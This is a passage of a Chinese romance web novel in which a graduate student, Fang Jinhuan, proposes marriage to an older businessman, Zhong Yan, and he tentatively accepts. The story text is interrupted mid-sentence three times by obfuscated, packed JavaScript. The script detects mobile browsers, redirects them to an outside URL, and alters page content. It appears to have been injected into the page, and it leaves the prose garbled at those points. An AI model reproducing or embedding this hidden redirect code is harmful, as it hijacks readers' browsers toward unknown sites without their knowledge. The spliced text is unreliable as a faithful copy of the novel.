“钟先生,我其实有话和你说。”尽欢试探地问,“可以请您下车喝杯咖啡吗?” 钟晏睁开眼。 他缓声道:“没记错的话,喝你两杯咖啡了。” 尽欢不好意思地点头,想说上次那杯咖啡应该不好喝,不过不是咖啡的事,而是她也找不到其他借口,其实就是想找个安静的,单独的空间跟他说话。 她语气听起来很诚恳,让人没办法拒绝。 . 咖啡厅里,钟晏坐在方尽欢对面。 他面色从容缓和,身上的羊绒大衣质地很好,面料挺括,后背微微往后,靠在椅背上,他高大宽阔的身形给人一种无形的压迫,目光冷淡地看着她。 他对面的人坐得很端正,乖巧得像正在课上听老师说话的好学生,窗户玻璃的反光映在她眼睛里,显得她一双眼睛更干净澄澈,像温柔的白色月光,她用这样的眼神认真看着面前的人,只有微缩住的手指暴露了她的紧张。 像马上要被老师点名回答问题那样。 钟晏没有去想她有什么要说的,于他而言不重要,无外乎一些小事。 尽欢缓缓地深吸一口气。 在说出这句话前,她需要做出很大的勇气,但对她来说机会少之又少,只能把握住这一次。 她声音轻缓地开口:“听说您现在缺一位妻子,您觉得我可以吗?” 话音落下,光线昏暗的咖啡馆里气氛凝滞下来,钟晏显然没想到她要说的话是这个,眼皮微微抬起,有片刻的惊讶,他沉声反问:“什么?” 一个才见过几面的,朋友家的孩子,对他说出这样毛遂自荐的话,钟晏看她的目光更沉了几分,见她更紧张起来,他放轻声音解释。 “我目前是迫切需要结婚。”身边人都知道的事,不是秘密,她知道也当然不奇怪,他不否认他需要一段婚姻来拿到家族继承权,并且是一段相对迫切的婚姻。 如果靠他自由恋爱会有点难,也会很慢,所以他到目前为止,能想到最好的方式是利益交换。 “但我的婚姻应该更多是一场交易。” 交易就是……对方需要什么,他可以提供给她同等,各取所需。 这是交易。 所以她需要什么? 一个还在为论文和实验数据苦恼的学生。 “为什么?”钟晏喝了口咖啡,问她。 即使她说出要当他妻子这样的话像在过家家,钟晏还是向她询问原因,没有说什么“小孩子不要闹”这样的话。 尽欢无意识咬住嘴唇。 她能怎么回答呢?在他面前她有点没办法说谎,被他眼睛注视着太有压力,但也无法说出完完全全的实话,难道要她告诉他,是因为她觉得他像daddy吗? 尽欢从没对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457261|185344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任何人说过,她喜欢像daddy一样的男性,比她年长,成熟包容,肩膀像钟先生这样沉稳,一双手也像他这样富有力量,她偶尔情绪有点敏感,间断性的不自信,她需要人的夸赞,而她确定,她喜欢钟先生的夸赞。 更别说他长得完完全全在她的审美里。 长相是,身形是,声音也是。 她没见过比他更完美符合她心意的人。 正好的是,他还迫切需要一段婚姻。 尽欢觉得她可以试一试。 来的路上她就在心里反复告诉自己,不要让自己后悔,不能够后悔,她不开这个口,别人也会这样做的。 她毕竟从小就喜欢事事争先,争第一。 “我喜欢像您这样的……男性。”尽欢一口气说出来,她很紧张却很诚恳,说话的时候认真看着他,试图告诉他,她说的是真的,不是假话。 钟晏目光像一张无形的大网,就这么淡淡地笼罩在她头顶,他说交易,眼前的女孩子在说喜欢,钟晏开始重新审视她,她的面庞很具有生命力,很鲜活,他一开始注意到她,也是因为这种鲜活的生命力。 人很容易被自己没有的东西所吸引。 长这么大,很多人都对他说过喜欢,但眼前这个要鼓起一切勇气才说出这话的女孩子他第一次见,并且他能看出来,她说的是真心话。 “方小姐,我今年三十三岁。”钟晏很坦然说出自己的年龄,他告诉她,“我比你大很多。” 尽欢点点头:“我知道啊。” daddy的话……是这样的年纪的。 她咬住下唇,今天她涂的是唇蜜,浅淡的奶茶杏色,显得她嘴唇红润,她试探地问:“您是嫌弃我年纪太小吗?” 不是……只有年纪小嫌弃年纪大的道理,没有说年纪大来嫌弃年纪小的,钟晏眼里升起一抹浅淡的笑意,他否认道:“没有嫌弃。” 应该是说不上来嫌弃不嫌弃,没到这里。 尽欢听到,舒了一口气,她羞赧地笑了下。 没有就好。 “太紧张的话先喝点水。”钟晏把一杯水往她手边推。他手掌放在桌上,手指无意识点了点,“就算是交易,我也是真的需要一位妻子。” 他的家族情况会有点复杂,他不是找个人回来糊弄爷爷和其他人,对他来说,需要稳定的婚姻和融洽和谐的夫妻关系,这能让他做很多事都事半功倍,并且也不会有所谓的协议或者什么契约,是世俗意义上的真正的婚姻关系。 钟晏同样认真仔细地告诉她这一点,语气尽量温和,也看起来是想让她知难而退。 有点怪异,明明才只知道名字的两个人,现在这样子坐在这里,像在相亲。 尽欢点点头:“当然是真的呀。“ 她都不好意思说她甚至没有谈过恋爱,因为遇不上合心意的喜欢的人,她这么多年生活的重点一直在学习上,很少想其他的。 没有谈恋爱直接结婚的话,她是容易招架不住,因为她并不清楚该怎么成为一个人的妻子。 不过也不妨碍事情可以继续发展下去。 现在不会,迟早可以会的。 尽欢和钟晏眼神对上,她目光真挚又澄澈,视线交汇好似一种与对方无声的试探和交融,本就浅薄的脸皮慢慢变红,却还是坚持和他对视。 她坚持的样子显得可爱。 钟晏没有立马拒绝,这个年纪的女孩子正最有自尊心,他说:“我建议你仔细想想再来和我说这话。” 5. 第 5 章 至少他没有拒绝。 尽管从他说的话能听出他是在委婉拒绝,她突然这样说是太冒昧,像着急把自己推销出去,不过,也还是有机会的。 他说:……再想想……再说…… 让她想想又不是说他要想想,她想一百次也还是这样,她很坚定的。 谁叫她一向擅长这样安慰自己。 遗憾的是离开的时候忘了趁机再问他要一下联系方式,就说方便告诉他再想想的结果呀,都说再想想了,总要想出点什么来吧。 这样说的话,他应该不会拒绝吧。 不过多亏钟晏给她的那些资料,她花了三天时间仔细研究,找到对她有用的部分,全部整合到一起,再结合自己的研究,深入分析。 确实让她有了一点茅塞顿开的感觉,但遗憾的是,由于是她没有接触过的知识,她能得到了也只是一些生涩的文字,这让她如果要完全理解的话还是很困难。 “给我看看。”杜青栩见尽欢很苦恼,提出可以帮她一起,他目前还算顺利,每天只用三四个小时在实验室就够了。 他走到尽欢身边,看她刚出来的一组实验数据,询问道:“这次存活率是多少?” 尽欢说:“比上次好了点。” 杜青栩伸手来拿她的实验数据。 尽欢注意到,他手上有几道细小的伤口,像是被锐器划伤,杜青栩此时察觉到她的视线,手指往回握了握,不动声色把伤口藏过去。 尽欢顿了下,目光撇开,当自己没有看见。 杜青栩这个人和别人不一样,他性格其实很好,很冷静,几乎没见他跟谁红脸,但同样也太内向深沉,加上他家庭情况特殊,很多事尽欢都不想麻烦他,或者是说一些话之前一定要过脑。 就像现在天气已经比较冷了,她穿一件毛衣还需要再加个外套,杜青栩每次上课或者来实验室都还穿得很单薄,上次尽欢随口问了句他冷不冷,杜青栩只看她一眼,没说话。 估计是她说错话了。 尽欢得了教训,在心里告诫自己,以后不要再随便问他这些冒昧的话。 杜青栩帮她调整了一下仪器,顺便纠正了几个小错误,结束后,他难得问她,中午要不要一起去食堂。 尽欢摇摇头:“我今天不去食堂。” 她要去商场逛一逛,顺便再买几身新衣服,上次为了姑父生日才买了一身,现在发觉根本不够,她要多买点。 有个逛街搭子的话肯定更好,但杜青栩显然不是个合适的逛街搭子,于是尽欢没说她要去哪,要做什么,只说不去食堂。 尽欢把挎包随手提在手上,她手腕上的手链是粉金色,尾端一个小巧的金色蝴蝶结,很低调,但也能看出来价值不菲。 她有不少这样的手链,手镯,基本上每天换着戴,是杜青栩根本不认识的牌子。 不用他说都随时在提醒他的差距,而他下午还有两门兼职。 杜青栩在冷风里不由挺直了腰。 他很不明显地笑了下,点头应了声:“嗯。” 尽欢趁着中午几个小时的休息时间,去商场买了几套衣服,最近忙着实验,面霜快用完了都没补,她顺便买了面霜,囤了点面膜,回来路过一家可爱的花店,进去看了下,又买了一束花。 满载而归。 回来路上看手机,发现群里消息又99+,她翻上去看,看到景欣发消息说,她看到谭老师那个朋友又来学校了。 这次估计是专门来找谭老师的。 尽欢盯着这条消息看了两秒,在想说的应该是钟先生吧,这个想法才从脑子里闪过,就接到谭老师的电话,让她过来办公室一趟。 尽欢把中午买的东西都放回宿舍,那束花本来是想放花瓶里插起来,加点水的话应该还能养活一段时间,但尽欢出门时盯着花看了几秒,还是选择把它一起带出来。 天空阴沉沉,像快要下雨。 尽欢抬头看了眼,懊悔刚刚出来的时候没在包里放一把伞,万一下雨了,非得淋成落汤鸡。 尽欢加快脚步往办公室走。 她刚拐上楼,就远远看到谭老师和钟晏站在楼道里说话,尽欢顿了下,轻轻往后退。 今天天气阴沉,光线不好,钟晏的半张脸也沉在暗色里,他和人站在一起也会把控好合适的距离,此时跟谭老师在聊天,他笑得很温和,尽欢虽然听不到声音,但能想到他的语气,低沉缓和,像老旧的唱片机。 谭希在跟钟晏聊他找结婚对象的事。 他们两个大学同学,很多年的朋友了,谭希大学的时候还开玩笑要追钟晏,钟晏这人,说是性格温和,实际上没什么能让他真的放在心里,谭希开这个玩笑,他没说什么,不过谭希是个明白人,玩笑也就到玩笑为止了。 他家里催着他结婚,总得有合适的人选给他吧。 谭希问他。 这么多年,没见钟晏喜欢过谁,或者说对哪个异性有兴趣,他倾向于选择怎么样的结婚对象,谭希都很好奇。 钟晏只说还没有找到。 前几天有个女孩子毛遂自荐要当他妻子,钟晏倒不是觉得她胡闹,他对于结婚对象没有一个既定的标准,要不是家里老爷子催,他不会着心于结婚这件事。 办公室里同事在喊谭希进来一下,说是打印机坏了,她弄不好,谭希抱歉地向钟晏点了下头,然后进了办公室。 钟晏回过头,他已经看到拐角处那一抹白色的衣角,一双女孩家独有的细长小腿,他朝那个方向走过去。 尽欢听到脚步声时,男人已经走到她面前,他身形覆下的影子正好落在她脚步,到这个距离时他停下,静静看向她。 尽欢腰板下意识挺直,睁着眼睛摇头:“钟先生,我没有偷听。” 她倒是很想多听听他说话的声音,但绝对没有偷听的意思,从楼梯到走廊那边也有这么长距离,她不是顺风耳,也听不见的。 被人抓了现行的时候,都是她这个样子解释的。 钟晏温声道:“没说你偷听。” 尽欢怀里还抱着那束花,主体粉色调,有非洲菊,香雪兰,多头小菊,搭配着翠珠,最中间还有两朵正盛开的蝴蝶兰,花衬在她脸颊边,在这样的阴沉天气里,她的笑眼和花一样变成粉红色。 很可爱鲜活的色彩。 下一秒尽欢就把花递了过来,她说:“钟先生,这是我买了特意送给您的。” 买不是特意买,但花是特意带出来的,因为听说钟晏可能在这,是真心想送给他,他看起来和这样粉嫩可爱的花并不相符,但尽欢还是想送给他。 送礼物都是心意,她想多给他看一看她的心意。 钟晏没接,只是问她:“送我花干什么?” “跟您说我想好了呀。”尽欢稍稍垫了垫脚,语气柔和却坚定,“您那天说让我再想想,我确定我……都想好了。” 成为妻子什么的……她还是这个答案。 钟晏还没说话,尽欢怕他这时候拒绝,她指了指办公室里面,说她先去找一下谭老师,让钟先生等等她。 尽欢把花塞他手上,小跑两步,进了办公室。 谭老师是给她一些补充资料,还有几本书,她说是钟晏刚给她送来的。 因为是新技术,有些知识可能生涩难懂,谭老师跟她说,不懂的地方随时告诉她,她能解决的都会帮她解决。 “谢谢谭老师。”尽欢抱着资料和书,把它们放进包里,问谭老师还没有没其他事。 第一次看她急匆匆,谭希笑道:“忙着去约会?” 尽欢笑了下,脸上羞赧。 尽欢这个年纪是谈恋爱的好时候,谭希都后悔自己当年读书的时候没谈恋爱,现在再谈也不会有当年的心境,她摆摆手,说没事了,让她要走就走。 尽欢和她说了再见,转身出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457262|185344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门。 她在走廊上看了一圈,又跑到楼梯口,都没看到钟晏。 尽欢匆匆下楼。 钟先生是走了吗? 尽欢有点失望,但她又想,钟先生应该很忙,不好因为她耽误时间,再说,她刚刚让他等她,他又没有答应。 还是要擅长从合适的角度安慰自己,这样一想尽欢心情好多了。 学校里停车不方便,他多半是把车停在学校外,她进办公室不过五分钟的时间,这么短的时候,他应该也走不了多远吧。 尽欢心里还是抱着一点希望,她朝着校门口的方向跑过去。 刚出学校大门,天就下起了雨。 雨势凶猛,不过十几秒,雨滴变成雨幕,随着一阵风“唰”地都落了下来,尽欢下意识用包挡在头上,马上想到包里还有钟先生给的资料和书,她又把包抱回到怀里,左右看了看,往旁边的奶茶店跑过去。 雨下得突然,店里都是躲雨的学生,尽欢站在屋檐下,雨水倾斜地落在她脚上,她只能尽量保护住怀里的包。 一辆车从拐弯处开过来,停在路边。 车窗缓缓落下,车内钟晏朝她看过来,被雨浇了的人有点懊恼,只抬头盯着天上,似乎试图用眼睛看出来这场雨什么时候停,只不过雨实在太大,大到看过去的时候目光都变得模糊,这让人挫败,脸上明明白白写着自己今天要完蛋了的想法。 这个季节,被淋了雨容易生病,特别是快来生理期之前,身体免疫力最差,尽欢皱起眉还在懊恼,下一秒看到车里的人,她几乎立即笑了起来。 钟先生没走! 她从懊恼到开心一瞬间的事,钟晏看在眼里,他朝她点头,示意她上车。 尽欢看懂了他的意思,她跑了两步,拉开车门坐进去。 她双脚到小腿处都湿哒哒,踩到他车的地垫上,她慌张地抬起双脚,正要道歉,旁边钟晏温声道:“没关系。” 尽欢不好意思地冲他眨眨眼,小心翼翼把脚放下,身上外套往腿上拢了拢,挡住一点自己狼狈的双腿,再次坐直,缓缓地呼出一口气。 她慢慢朝旁边看过去。 那束花被他放在座位边,靠着他的大衣,许是这一阵雨,车里气息厚重闷热,像被一张浸湿了水的毛毯覆盖住,些许的花香散开在空气里,让车里的人得以喘息。 钟晏从口袋拿出一张帕子,折成方形在他手心,递给她:“先擦一下。” 尽欢新奇地看着他手上的帕子,想原来真的会有人在口袋里随时带这个,她乖巧笑了下,双手接过,轻声说:“谢谢您。” 尽欢擦了擦额角的雨水,又擦了擦脖子,里面毛衣已经湿了大半,但她又不好往里面擦,只能感受雨水浸湿衣服再贴在皮肤上——真的很不舒服。 尽欢手里捏着帕子,带着这种难受,她认真又好奇地问他:“您为什么让我上车?” 钟晏反问:“不是让我等你?” 他其实并没有答应她,或者说来不及答应或拒绝,正因为这样才没走。 尽欢随口说的一句话他也守信用,其实根本没有什么,等还是不等的——她想到她大概率要被正式拒绝了,有点沮丧,在想自己果然还是年纪太小了,会被他觉得太幼稚,被当做一个孩子来看的人是发展不了什么未来的,她第一次鼓起勇气的作为就要全部破灭了。 心脏上揪了一点酸涩,低头盯着自己狼狈的双脚,在想等下他说出拒绝的话她可能会忍不住掉眼泪,她有时候会这样,突然泪失禁。 “那您等我……是要说什么?”尽欢试探问,她咬咬牙,主动开口,“您要拒绝我?” “是。”钟晏淡声,才开口,旁边人脸色明显耷拉下去,一只泄了气的小狗。 “本来是。”钟晏声音有种温润的热量,他顿了顿,把自己放在一边的外套搭她腿上,帮她挡住女孩子在意的狼狈,“但在刚刚,我改变主意了。” 6. 第 6 章 啊? 尽欢腿上传来外套的余温,有点重量的衣服,盖在她腿上也有一定的存在感,外面雨水顺着窗户的玻璃流下来,变成了无数道蜿蜒的河流,流进心里。 尽欢在反应他说的话,震惊之余,她当然听得懂他在说改变主意。 尽欢怔怔地看着他,一些惊讶让她现在说不了话。 钟晏坦然地看向她。 二十出头的女孩子,没有进入过社会,脸颊稚嫩得明显,每次见到她,都让他不由想起一种蛋糕,松软可爱的雪贝。 他刚刚在车里,看到她跑出来,见到他的瞬间明显眼睛亮了的欣喜——他已经很久没看到面对他时还这么鲜亮的眼神,很明显,她在期待他。 他在这一瞬间接受了这种期待。 钟晏在这之前没有为自己的结婚对象设限,不过他需要的一直是合适,其余的也不重要,婚姻于他而言一直不重要,就像早晨餐桌上的一块面包,放在那里吃也可以,不吃也可以,简单的面包算不上多美味,甚至排在选择了其余食物之后。 婚姻他在这里也占据很轻,在除去长辈的干涉后,它可有可无。 在女孩子错愕的眼神里,他说:“接下来要谈的是结婚的事。” “先听你说说。”他语气宽容道。 结、结婚啊。 明明是她提出来,现在反而不知所措,她不知道结婚应该怎么办,要做点什么,网上那些嫁妆啊彩礼啊那些东西,好像很麻烦。 尽欢以为钟先生是要和她谈这个。 她确实还没有告知姑姑,对她来说爸妈那边不是很重要,他们现在很少关心她的事,最多知道一下,但姑姑是她最亲的亲人,姑姑那关肯定是要过的。 不过这肯定要尽欢自己去说。 她总不能因为这个还给钟先生制造难题。 “我叫方尽欢,今年二十三岁,在读研二,生物医学专业。” 尽欢像要上台表演那样介绍自己,她认为基本情况要先了解,这肯定最重要,至于谈到真的结婚,她声音渐小:“家里长辈的话……我姑姑同意就好了。” “那你姑姑同意吗?”钟晏温声问她。 尽欢微微张嘴,没有点头也没有摇头,她表情有点挫败,这样显得她之前的坚持像个笑话。 钟晏并没有催她或者说其他,她在思索,他就等着她,等她想明白。 她这个年纪是需要想明白。 “钟先生,我知道您在担心什么,您怕我是一时冲动,还怕我以后后悔。” 尽欢从他的沉默里读出了他的意思,她知道她的行为看起来是过于对自己不负责任,换作以前她也没想过自己有一天会这样做,但她由于父母离异,其实总比其他孩子成熟得早,从小到大,很多重要的决定都是自己做的。 她十几岁,就自己做决定不跟母亲和父亲任何一个,和姑姑一起生活,大学时,选择报考北方的大学,离家几千里之外,后来大学毕业,她又选择回来读研…… 尽欢从小就知道自己要什么,正因为清楚,她很多选择做得都坚定又快速,她坚信自己要这样做,是她的心告诉她的,所以不会后悔。 她用那么真诚的眼神看着他,眼神里是超乎她这个年纪的坚定,钟晏看出了她眼睛里要表达给他的意思,他眼里盛出一抹笑意……嗯,是有点意外。 意外她对这件事有这么坚定的想法。 他三十多年来,这颗心沉如死水,或者换句话来说,他是个老派保守的人,他很难想象自己会有心动的一天,所以他很早就知道,他能给未来伴侣的,只有尊重和敬爱。 眼前的女孩子看起来大概会比较需要爱。 他不一定能给。 钟晏所说的改变主意,没有现在就要定下来的意思。 他让尽欢留一下他的电话号码。 他的联络方式。 尽欢赶紧拿出手机,存下他的号码,她认真备注下「钟先生」,然后问他:“微信也是这个吗?” 钟晏点头:“嗯。” 尽欢眨眨眼:“那我加您的话,您会同意吗?” 钟晏答应:“会同意。” 尽欢还来不及高兴,就听钟晏的声音传来。 “方小姐,我还不想被别人说我是禽兽,或者……欺负小孩子不懂事这种话,在我这里还没有到这个地步。” 他对待眼前女孩子的心意很慎重,正因为慎重才要跟她说清楚,任何事不要打哑谜,要放在明面上好好说。 先知晓后果,后才能行事。 这是钟晏为人处世的态度。 “我现在是答应你了,但还是给你留时间。”钟晏语气温和,“后悔的话随时可以发消息给我。” 尽欢心提了下,担忧地问:“那您会留多久时间呢?” 她这样问,看起来更怕被别人抢她的先,好像他是个什么香馍馍一样。 钟晏很难得被人这样惦记,他眼里含着笑说:“到我们都认为水到渠成的时候。” 顿了顿,他又说:“你放心,我不会到处答应人。” 很平和的一句话,却是他的保证。 答应了她的,就只有她。 尽欢听到这是真的放心了,她抿嘴笑了下,点点头:“我知道了。” 这场雨来得急,结束得也快,一场聊天结束,外面雨也停了,空气里弥漫着水汽,被风吹得簌簌。 “你先回宿舍换身衣服,我在这里等你。” “请你喝个下午茶。” . 尽欢赶回宿舍换了衣服,她中午买了新衣服正好派上用场,仔细把吊牌剪了,用最快的速度补了个妆,如果有足够多的时间的话,她应该再洗个头,被雨淋到的头发不太顺滑柔软,即使她已经用吹风机吹过了还是这样。 但她也不想让钟先生等她太久。 她只花了十五分钟就做完这些,然后匆匆跑出宿舍,钟晏还在原地等她——他刚刚处理完一通工作电话。 那件被尽欢盖过的外套又重新放回了原位,在那束花旁边,衣服里面有点被她弄湿了。 尽欢正想说抱歉,钟晏头也没抬,已经开口道:“没关系,本来今天也该清洗了。” 钟晏对这些事一向宽容,一件衣服而已。 “有什么想吃的吗?”钟晏先询问了她,“还是说……你更喜欢喝咖啡?” 提起咖啡,尽欢不由脸红,上次说请他喝,结果后来还是他付的钱,弄得好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457263|185344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像她就是为蹭一杯喝的。 不要咖啡不要咖啡,她其实不怎么喜欢,只是她的借口。 尽欢勉强道:“不喝咖啡了吧。” 钟晏的车开了十来分钟,停在楼下,这家餐厅是之前钟晏跟家里小辈出来吃饭的时候来过一次,很可爱的一家店,动物主题,深受孩子们的喜欢。 味道也不错。 尽欢看着端到她面前小熊形状的小蛋糕,一份炸鱼薯条,还有一杯粉红色的乳汁饮料——这些是钟先生给她点的。 怎么说呢,尽欢觉得有点怪异。 坐在她对面的钟先生身形高大,他脱了外套只穿着一件深色半高领毛衣,显出一双手臂结实宽阔,几乎是她的两倍,他手掌搭在那里,一只手就有她腰这么宽,他宽容地看着她笑,眼角的一点纹路让他面色稍显柔和,是一副再成熟不过的躯体。 而她面前摆的这些是孩子才吃的。 尽欢问他怎么不吃。 “不用,我今天饮食有限制。”钟晏解释。 他每周都会进行一定频次的身材管理,在这时间内饮食同样也严格控制,家里有营养师为他安排。 哦……尽欢想,难怪他看起来那么健康,比她健康多了。 怀着这样的想法,不妨碍尽欢吃得很香。 薯条真的很好吃,饮料也很好喝,比起尽欢之前爱喝的那些奶茶啊果茶之类的好喝多了,这还能喝到一点点胡萝卜的味道。 有胡萝卜就很健康了,尽欢认为。 尽欢现在是一只在努力进食的小仓鼠,埋头吃得很开心,她吃开心了并不扭捏,还向钟晏推荐,等他下次不是管理日的时候可以来试试这个饮料。 嗯……她觉得比咖啡好喝。 钟晏点头应了声,答应下次会来试试。 尽欢把这份下午茶都吃完了,她拿纸巾仔细擦了擦嘴巴,然后对钟晏说:“谢谢您今天请我,下次我请。” 对了,关于下次这种话,都要约定好时间,尽欢顿了下,紧接着说:“就这周日吧,这周日可以吗?” 女孩子把心思都写在脸上,钟晏一眼看出来,他说:“周日早上我要开个会,晚上有应酬,除了这些时间,都可以。” 周日都那么忙啊。 尽欢脸色僵了下,她舔了下嘴角,问:“那我今天是不是很耽误您的时间?” 又让他等她,又跟他在车里说那么久话,现在还在这里吃东西,算起来不知道耽误他多少时间了。 尽欢想到的是这个。 钟晏眼皮有很一道不浅的褶皱,褶皱下目光深邃,他静静看着她脸上表情从吃得开心到羞愧懊恼,默默低下头,只能看见她一点下巴。 她五官长得很柔和,完全没有任何攻击性,这样看起来,让人很舒服。 有些人光靠长相就有这种天生让人舒心的能力。 这也是天赋。 “不是都要跟我结婚了吗?”钟晏和她对视上,顿了下,“如果当我妻子的话,我的时间随便耽误……不用太在意这个。” 他语气平常,却像在和她调笑。 尽欢被他一句无端的“妻子”弄得脸红。 她懵懵的,只能结巴地应道:“哦……哦……” 7. 第 7 章 回去后尽欢给钟晏发送了好友申请。 大概到晚上七点多,他通过了好友申请。 尽欢谨慎地发:「钟先生,我是方尽欢。」 钟晏很快回复过来:「嗯,知道。」 现在大概是一个聊天的好时机,尽欢在努力想话题,她和钟晏之间还算不上相熟,就是见过几面然后交谈过几次的关系,似乎没有必要在闲暇时刻还聊点什么。 但尽欢觉得多说说话肯定是好的。 于是她发消息过去:「今天您给我的资料我拿到了,我会好好看的。」 钟晏:「我不是你老师,不用向我汇报这些。」 尽欢在屏幕这边叹了口气,她盯着他发过来的消息,很诚实的回答:「但不说这些我就没话跟您聊了呀。」 尽欢懂他说的让她好好想想,作为一个负责任的成年人,他会对此有顾虑再正常不过,但她也像尽量让他多知道一点,有关她是怎么想的。 她其实很喜欢和他待在一起,也喜欢和他说话,认识钟先生以来,她感觉自己原本的压力都小了很多,虽然有可能只是她的臆想,但喜欢是她确定的。 屏幕对面的人坦诚得让钟晏有点无奈。 他其实对她这样年纪的人多为包容,单纯没有心眼的更是,她这样的人,心里想什么在他面前一览无遗,她更是,还会自己说出来。 尽欢坐在书桌边盯着手机看,资料就被她放在一边,她眼睛眨动的频率都变慢,生怕自己错过消息。 手机震动一下,她立马拿起看。 钟晏竟然给她发的语音。 “你很想和我聊天?”他声音略沉,但并不令人疏远,用语音好像比单纯打字更有亲和力。 尽欢于是也发语音回复他:“是啊,我想和您多聊聊。” 因为不了解才要多聊聊,有句话叫做一回生,二回熟,不来往怎么变熟? 尽欢就是这么想的。 钟晏回复:“你想聊的话可以随便说点什么,我有空都会回。” 他有时候比较忙,忙的时间不确定,对他来说,工作消息多,日常生活的消息倒是少,但凡他看到了都会回复。 说是这样说,尽欢还是很苦恼,她发消息也只能是一些吃了吗睡了吗这样无聊的问题,考虑到这些问题无意义还会打扰到他,她可能也并不会发。 尽欢还是开心地回复了一个「好的」的表情包。 这场对话也到这里为止。 钟晏此时刚结束锻炼,今天强度不大,跑完了尚气息平稳,他站在岛台边喝水,垂眸看着手机上发来一个欢快的表情包,他视线往下落了落。 今天回来后,他又重新思考了一遍答应她结婚这件事,他做事从来深思熟虑,再三确认,唯独这件事,他改变主意在一瞬之间。 漂亮的女人很多,乖巧的孩子也很多,刚刚想来,发现不过第一次在方家见她时就对她留了印象。 她很安静,很乖巧,却安静得有存在感。 钟晏会慢慢回想这些事,确认不冲动行事下,他的决定也还是这样。 在她完全清楚自我的前提下,他完全接受她成为妻子这件事。 不过她这个年纪,其余的都往一边放放……他得对她负责。 他得负上这个责。 . 天气降温得好快。 上周尽欢还可以偶尔只穿一件毛衣,现在必须裹上一件长大衣甚至是羽绒服。 她还是大多时间待在实验室,有不懂的地方就可以找到借口发消息问钟晏,每次只要她问,他都会回答得很认真很仔细。 他对待这方面态度非常严谨,偶尔反问尽欢一两个问题,让她哑口无言,回答不上来。 她答不上来钟晏也不会批评她。 他只是建议,或者给她推荐几本可以看的书。 研究生时期,有了喜欢学术,有人也只单纯为了论文,无论哪种原因,都要记住打好基础最重要。 从小到大所有的老师都会告诉你,自己学到的东西才是自己的,这是唯一别人抢不掉的。 这段时间里,尽欢唯一见到钟晏的一次,就是那个周日说请他吃一顿饭,她精心挑选,挑了一家古典雅致的苏式餐厅。上次跟着姑姑姑父来过一次,这里的菜味道不错,很新奇也很有品味,重要的是环境好。 环境好的话……会像在约会。 尽欢抱着这样的小心思和他吃完了这顿饭。 钟晏似乎没有什么特别的喜好,他什么都吃,但也什么都不多吃,他的用餐习惯让尽欢想到了她的外公,一个很讲究又老旧保守的帅气老头。 除了这次之外,其余时间没有再见过面,只是在微信上聊天。 南城的冬天湿冷,冷风滚在空气里完全是化学攻击,穿再多都觉得骨头缝里是冷的,尽欢怕冷,每次出门都把自己裹得严严实实。 越冷的天气反而脑子越清醒。 尽欢的实验取得了阶段性进展,组会汇报上谭老师对此很满意,结束后,杜青栩约她晚上一起吃饭。 本来以为他说去食堂,结果杜青栩的意思是,约她去吃火锅。 “就我们两个吗?”尽欢不确定,再次问道,“你请我吃火锅?” 要倒反天罡了。 这次是杜青栩帮她更多,她数据上遇到一些问题,他一直在积极帮忙解决,有空的时候还会帮她整理测算,以及一些相关资料,还在课后查找整理给她。 杜青栩这个人真的好热心。 这些看起来简单的小事,实际做起来要花费不少时间和耐心。 尽欢想了想,强调说:“不用,应该我请你吃。” 请人吃饭这件事,杜青栩实在没有经验,她说要请他吃,他反而不知道该怎么解释,解释他想请她吃饭的……原因。 尽欢说着已经打开手机准备订位子,她知道一家很好吃的火锅店,就是人多要提前预订,现在这个天气,吃一顿热乎乎的火锅正好。 刚点进预订页面,微信弹出一条消息。 钟晏:「下午有空吗?我来接你。」 尽欢目光停在这条消息上,她就顿了半秒,马上点进去回复:「有空!」 她甚至都没问要接她去做什么,简直迫不及待。 钟晏:「好,五点学校门口等我。」 现在马上到四点,那就还有一个小时,那她就还有一个小时的准备时间,想到这里,尽欢突然着急起来。‘ 她把手机揣回口袋,急急忙忙对杜青栩说:“不好意思啊,今天我有事,下次再请你吃。” 方尽欢同学像被火烧到屁股,她说完就往外跑。 剩杜青栩在原地,反应过来时,已经只留下手边一点风。 他低头看了看自己的手。 刚刚她跑开时,外套边缘从他掌侧扫过,杜青栩握了握手,视线余光里早已没有她的身影,他这时候才自顾自地缓缓点头,声音低得只有他自己能听见。 “好,下次吃。” 这边尽欢在五点提前十分钟的时候就到了校门口,令她意外的是,钟晏已经在等她了。 他站在车边跟人打电话,见到尽欢,他低声和电话那边说了两句,挂掉了电话。 尽欢等他收了手机才开口:“钟先生。” 她仰起下巴看他,眼里很惊喜。 算起来快两个月没有见过面了,从凉意阵阵的深 